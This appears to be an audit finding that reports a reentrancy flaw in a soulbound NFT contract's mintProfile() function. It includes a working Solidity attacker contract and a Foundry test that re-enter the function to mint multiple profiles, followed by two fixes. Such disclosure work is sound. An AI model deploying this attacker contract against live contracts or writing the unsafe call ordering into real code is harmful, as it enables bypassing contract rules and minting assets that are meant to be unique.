Description:
The SoulBoundProfileNFT::mintProfile() function in SoulBoundProfileNFT does not follow the Checks-Effects-Interactions (CEI) pattern or implement a reentrancy guard, leaving it vulnerable to reentrancy attacks. A malicious contract can exploit this vulnerability to mint multiple NFTs by recursively calling SoulBoundProfileNFT::mintProfile() during the _safeMint() operation.
function mintProfile(
string memory name,
uint8 age,
string memory profileImage
) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Impact:
Medium. Attackers can mint multiple NFTs by exploiting reentrancy, bypassing the one-profile-per-user rule.
While this does not directly impact the core dating app functionality, it compromises the uniqueness and integrity of profiles.
Proof of Concept:
An attacker contract implements onERC721Received() to recursively call mintProfile() before the first mint completes.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract TestAttacker is Test, IERC721Receiver {
SoulboundProfileNFT soulboundNFT;
uint8 counter;
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
console.log("onERC721Received called");
if (counter < 5) {
counter++;
soulboundNFT.mintProfile(
"Alice",
25 + counter,
"ipfs://profileImage"
);
}
return IERC721Receiver.onERC721Received.selector;
}
constructor(SoulboundProfileNFT _soulboundNFT) {
soulboundNFT = _soulboundNFT;
}
receive() external payable {}
function attack() external payable {
soulboundNFT.mintProfile("Alice", 25, "ipfs://profileImage");
}
}
test exectution in SoulboundProfileNFTTest:
function testReentrancyAttack() public {
TestAttacker attacker = new TestAttacker(soulboundNFT);
vm.prank(address(attacker));
attacker.attack();
console.log("tokenID: ", soulboundNFT.getNextTokenID());
}
Recommended Mitigation:
Fix 1: Follow the Checks-Effects-Interactions (CEI) Pattern
Modify mintProfile() to update state before external calls to _safeMint(), preventing reentrancy.
function mintProfile(
string memory name,
uint8 age,
string memory profileImage
) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Fix 2: Implement a Reentrancy Guard
Use OpenZeppelin's ReentrancyGuard to block reentrant calls.
- contract SoulboundProfileNFT is ERC721, Ownable {
+ contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
...
- function mintProfile(string memory name, uint8 age, string memory profileImage) external {
+ function mintProfile(string memory name, uint8 age, string memory profileImage) external nonReentrant {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
